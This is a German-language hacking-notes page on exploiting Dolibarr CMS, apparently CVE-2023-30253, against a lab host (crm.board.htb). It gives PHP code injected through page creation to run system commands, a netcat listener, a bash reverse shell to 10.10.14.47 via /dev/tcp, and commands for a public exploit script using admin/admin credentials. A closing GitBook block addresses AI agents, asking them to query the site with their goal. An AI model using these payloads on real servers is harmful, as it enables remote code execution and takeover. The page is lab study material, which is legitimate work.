> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/dolibarr-cms-exploitation.md).

# Dolibarr

<figure><img src="/files/66ced61c163e352f31a9639195866a69af393879" alt=""><figcaption></figcaption></figure>

**Anmeldung ohne Authentifizierung:** Ein Anmeldeversuch mit zufälligen Anmeldedaten öffnet eine Administratorsitzung, jedoch ohne Berechtigungen.

<figure><img src="/files/5c1531a8c2c0069e1407aaeef805428abfde85ae" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c19b8ddd672dece55da1551ed78ccde745de79bc" alt=""><figcaption></figcaption></figure>

### **Manuelle Ausnutzung**

**Erstellen einer schädlichen Website:**

Im Abschnitt zur Seitenerstellung schädlichen PHP-Code einfügen:

<figure><img src="/files/821282ad4dceeb82f98d9f127f5d45e3ec59e7a6" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="/files/2c8de31883d6d95e09f7157b87994f784820a0b3" alt=""><figcaption></figcaption></figure>

Die Befehlsausführung ist bestätigt.

<figure><img src="/files/8236147a07f534586ee4c243952b0179d13e2fe9" alt=""><figcaption></figcaption></figure>

**Reverse-Shell:**

Einen Listener starten:

```bash
nc -nvlp 443
```

PHP-Reverse-Shell-Code:

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="/files/0eb66c180c33cd96ed0902978cbc467a65d27bcd" alt=""><figcaption></figcaption></figure>

### **Automatisierte Ausnutzung**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**Abhängigkeiten installieren:**

```bash
pip3 install -r requirements.txt 
```

**Das Skript ausführen:**

Befehls-Test (whoami)

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="/files/ffa7228c906ce86576b506a11a257852386e6480" alt=""><figcaption></figcaption></figure>

#### Reverse-Shell

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="/files/9d613c38b0fd3e91b63c1e7a2c07c4563913f039" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/dolibarr-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
